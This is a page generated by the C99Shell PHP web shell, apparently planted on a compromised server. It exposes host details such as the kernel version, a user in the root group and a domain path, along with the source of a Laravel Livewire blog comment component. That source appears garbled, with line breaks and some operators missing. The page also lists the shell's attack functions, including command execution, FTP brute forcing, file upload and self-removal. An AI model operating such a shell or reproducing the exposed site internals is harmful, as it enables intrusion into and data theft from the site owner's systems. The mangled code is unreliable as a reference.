!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Livewire/Blog/   drwxr-xr-x
Free 28.33 GB of 117.98 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Comment.php (2.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Livewire\Blog;

use 
App\Models\BlogComment;
use 
App\Notifications\BlogCommentNotification;
use 
Livewire\Component;

class 
Comment extends Component
{
    public 
$post_id;

    public 
$name;

    public 
$email;

    public 
$body;

    public 
$comments;

    public 
$loadbutton true;

    public 
$total;

    public 
$count 5;

    public 
$loading false;

    public 
$recaptcha;

    
//reset form
    
public function resetForm()
    {
        
$this->name '';
        
$this->email '';
        
$this->body '';
    }

    
// Store comment
    
public function storeComment()
    {
        if (
config('captcha.active')) {
            
// data validation
            
if (auth('user')->check()) {
                
$this->validate([
                    
'body' => 'required|max:255',
                    
'recaptcha' => 'required',
                ]);
            } else {
                
$this->validate([
                    
'name' => 'required',
                    
'email' => 'required',
                    
'body' => 'required|max:255',
                    
'recaptcha' => 'required',
                ]);
            }
        } else {
            
// data validation
            
if (auth('user')->check()) {
                
$this->validate([
                    
'body' => 'required|max:255',
                ]);
            } else {
                
$this->validate([
                    
'name' => 'required',
                    
'email' => 'required',
                    
'body' => 'required|max:255',
                ]);
            }
        }

        
$data = [
            
'post_id' => $this->post_id,
            
'name' => $this->name $this->name auth('user')->user()->name,
            
'email' => $this->email $this->email auth('user')->user()->email,
            
'body' => $this->body,
            
'image' => auth('user')->check() ? 0,
        ];

        
$comment BlogComment::create($data);

        
//Send blog post author to new comment notification
        
if (checkSetup('mail')) {
            
$comment->post->author->notify(new BlogCommentNotification($comment));
        }

        
$this->resetForm();
    }

    
// Load More Data
    
public function load()
    {
        
$this->loading true;
        
$this->count += 5;
    }

    public function 
render()
    {
        
$this->comments BlogComment::where('post_id'$this->post_id)
            ->
latest()
            ->
take($this->count)
            ->
get();
        
$this->total BlogComment::where('post_id'$this->post_id)->count();
        
$this->loading false;

        return 
view('livewire.blog.comment');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--